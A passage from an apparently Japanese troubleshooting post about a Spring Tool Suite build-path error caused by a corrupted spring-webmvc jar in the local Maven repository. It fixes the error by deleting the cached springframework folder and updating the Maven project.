Archive for required library: 'C:/Users/<Windowsアカウント名>/.m2/repository/org/springframework/spring-webmvc/4.3.9.RELEASE/spring-webmvc-4.3.9.RELEASE.jar' in project '<プロジェクト名>' cannot be read or is not a valid ZIP file	<プロジェクト名>		ビルド・パス	ビルド・パスの問題
ビルド・パスのエラーが解決されるまで、プロジェクトをビルドできません
```

# 解決方法？
結構いろいろ探した挙句効果があった方法だけ。
具体的にはSTS問題タブの表示パスのフォルダを消す。
私の環境では、以下のディレクトリの下をエクスプローラ上から全削除して、再度STS上で『プロジェクト右クリック⇒Maven⇒プロジェクトの更新』を実施することでjarの再取得が行われて、エラーが消えました。

```削除するディレクトリ
'C:/Users/<Windowsアカウント名>/.m2/repository/org/springframework/'
```